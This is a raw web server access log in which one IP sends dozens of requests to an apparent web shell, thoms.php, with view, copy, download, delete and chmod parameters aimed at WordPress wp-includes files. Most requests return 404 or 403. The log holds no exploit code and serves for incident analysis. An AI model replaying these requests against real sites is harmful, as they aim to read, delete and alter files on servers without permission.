45.135.193.11 - - [11/Sep/2026:23:55:38 -0400] "GET /thoms.php?p=biotaiwan.com.tw%2Fwp-includes&view=class-wp-user-meta-session-tokens.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=biotaiwan.com.tw%2Fwp-includes&view=class-wp-user-meta-session-tokens.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:38 -0400] "GET /thoms.php?p=biotaiwan.com.tw%2Fwp-includes&view=feed-rss2.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=biotaiwan.com.tw%2Fwp-includes&view=feed-rss2.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:38 -0400] "GET /biotaiwan.com.tw/wp-includes/session.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:38 -0400] "GET /biotaiwan.com.tw/wp-includes/class-wp-exception.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:38 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-includes%2Fmeta.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-includes%2Fmeta.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:38 -0400] "GET /thoms.php?del=class-wp-customize-section.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=class-wp-customize-section.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:38 -0400] "GET /biotaiwan.com.tw/wp-includes/feed-atom-comments.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:38 -0400] "GET /biotaiwan.com.tw/wp-includes/meta.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:38 -0400] "GET /thoms.php?p=biotaiwan.com.tw%2Fwp-includes&view=class-wp-term.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=biotaiwan.com.tw%2Fwp-includes&view=class-wp-term.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:38 -0400] "GET /thoms.php?del=comment.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=comment.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:39 -0400] "GET /thoms.php?dl=ms-network.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=ms-network.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:39 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-includes%2Ftheme-previews.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-includes%2Ftheme-previews.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:39 -0400] "GET /thoms.php?p=biotaiwan.com.tw%2Fwp-includes&view=block-bindings.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=biotaiwan.com.tw%2Fwp-includes&view=block-bindings.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:39 -0400] "GET /thoms.php?del=blocks.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=blocks.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:39 -0400] "GET /thoms.php?p=biotaiwan.com.tw%2Fwp-includes&view=class-wp-block.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=biotaiwan.com.tw%2Fwp-includes&view=class-wp-block.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:39 -0400] "GET /thoms.php?dl=class-wp-oembed-controller.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=class-wp-oembed-controller.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:39 -0400] "GET /thoms.php?chmod=theme.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=theme.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:39 -0400] "GET /thoms.php?p=biotaiwan.com.tw%2Fwp-includes&view=class-wp-paused-extensions-storage.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=biotaiwan.com.tw%2Fwp-includes&view=class-wp-paused-extensions-storage.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:39 -0400] "GET /biotaiwan.com.tw/wp-includes/user.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:39 -0400] "GET /thoms.php?dl=version.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=version.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:39 -0400] "GET /thoms.php?p=biotaiwan.com.tw%2Fwp-includes&view=class-wp-application-passwords.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=biotaiwan.com.tw%2Fwp-includes&view=class-wp-application-passwords.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:39 -0400] "GET /thoms.php?p=biotaiwan.com.tw%2Fwp-includes&view=class.wp-styles.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=biotaiwan.com.tw%2Fwp-includes&view=class.wp-styles.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:39 -0400] "GET /biotaiwan.com.tw/wp-includes/theme.json HTTP/1.1" 200 2361 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:39 -0400] "GET /thoms.php?p=biotaiwan.com.tw%2Fwp-includes&view=shortcodes.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=biotaiwan.com.tw%2Fwp-includes&view=shortcodes.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:39 -0400] "GET /thoms.php?dl=utf8.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=utf8.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:39 -0400] "GET /thoms.php?del=certificates&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=certificates&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:40 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-includes%2Fclass-wp-customize-setting.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-includes%2Fclass-wp-customize-setting.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:40 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-includes%2Fclass-wp-http-requests-hooks.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-includes%2Fclass-wp-http-requests-hooks.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:40 -0400] "GET /thoms.php?del=class-wp-dependency.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=class-wp-dependency.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:40 -0400] "GET /thoms.php?p=biotaiwan.com.tw%2Fwp-includes&view=class-wp-recovery-mode.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=biotaiwan.com.tw%2Fwp-includes&view=class-wp-recovery-mode.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:40 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-includes%2Fclass-wp-text-diff-renderer-inline.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-includes%2Fclass-wp-text-diff-renderer-inline.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:40 -0400] "GET /thoms.php?del=fonts.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=fonts.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:40 -0400] "GET /thoms.php?chmod=link-template.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=link-template.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:40 -0400] "GET /thoms.php?del=canonical.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=canonical.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:40 -0400] "GET /thoms.php?dl=class-simplepie.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=class-simplepie.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:40 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-includes%2Fclass-wp-exception.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-includes%2Fclass-wp-exception.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:40 -0400] "GET /thoms.php?del=class-wp-embed.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=class-wp-embed.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:40 -0400] "GET /thoms.php?p=biotaiwan.com.tw%2Fwp-includes&view=class-wp-image-editor-gd.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=biotaiwan.com.tw%2Fwp-includes&view=class-wp-image-editor-gd.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:40 -0400] "GET /biotaiwan.com.tw/wp-includes/class-wp-recovery-mode-email-service.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:40 -0400] "GET /biotaiwan.com.tw/wp-includes/class-wp.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:40 -0400] "GET /biotaiwan.com.tw/wp-includes/cron.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:41 -0400] "GET /thoms.php?chmod=l10n&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=l10n&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:41 -0400] "GET /thoms.php?p=biotaiwan.com.tw%2Fwp-includes&view=class-wp-filter-sentinel.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=biotaiwan.com.tw%2Fwp-includes&view=class-wp-filter-sentinel.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:41 -0400] "GET /thoms.php?dl=class-wp-http-response.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=class-wp-http-response.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:41 -0400] "GET /thoms.php?dl=class-wp-theme-json-resolver.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=class-wp-theme-json-resolver.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:41 -0400] "GET /thoms.php?dl=class-wp-theme.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=class-wp-theme.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:41 -0400] "GET /thoms.php?chmod=formatting.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=formatting.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:41 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-includes%2Ftheme.json&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-includes%2Ftheme.json&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:41 -0400] "GET /thoms.php?del=session.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=session.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:41 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-includes%2FIXR&p= HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-includes%2FIXR&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:41 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-includes%2Fabilities-api.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-includes%2Fabilities-api.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:42 -0400] "GET /thoms.php?chmod=class-wp-dependencies.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=class-wp-dependencies.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:42 -0400] "GET /thoms.php?del=class.wp-dependencies.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=class.wp-dependencies.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:42 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-includes%2Fclass-wp-feed-cache-transient.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-includes%2Fclass-wp-feed-cache-transient.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:42 -0400] "GET /thoms.php?dl=default-filters.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=default-filters.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:42 -0400] "GET /thoms.php?dl=cron.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=cron.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:42 -0400] "GET /thoms.php?chmod=feed-atom-comments.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=feed-atom-comments.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:42 -0400] "GET /thoms.php?del=class-feed.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=class-feed.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:42 -0400] "GET /biotaiwan.com.tw/wp-includes/class-wp-icons-registry.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:42 -0400] "GET /thoms.php?dl=class-wp-block-styles-registry.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=class-wp-block-styles-registry.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:42 -0400] "GET /thoms.php?del=style-engine.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=style-engine.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:42 -0400] "GET /thoms.php?dl=functions.wp-styles.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=functions.wp-styles.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:42 -0400] "GET /thoms.php?dl=template.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=template.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:42 -0400] "GET /thoms.php?dl=class-wp-editor.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=class-wp-editor.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:42 -0400] "GET /thoms.php?chmod=php-ai-client&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=php-ai-client&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:42 -0400] "GET /thoms.php?del=class-wp-http-response.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=class-wp-http-response.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:43 -0400] "GET /thoms.php?p=biotaiwan.com.tw%2Fwp-includes&view=block-template.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=biotaiwan.com.tw%2Fwp-includes&view=block-template.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:43 -0400] "GET /thoms.php?del=widgets&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=widgets&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:43 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-includes%2Fclass-phpass.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-includes%2Fclass-phpass.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
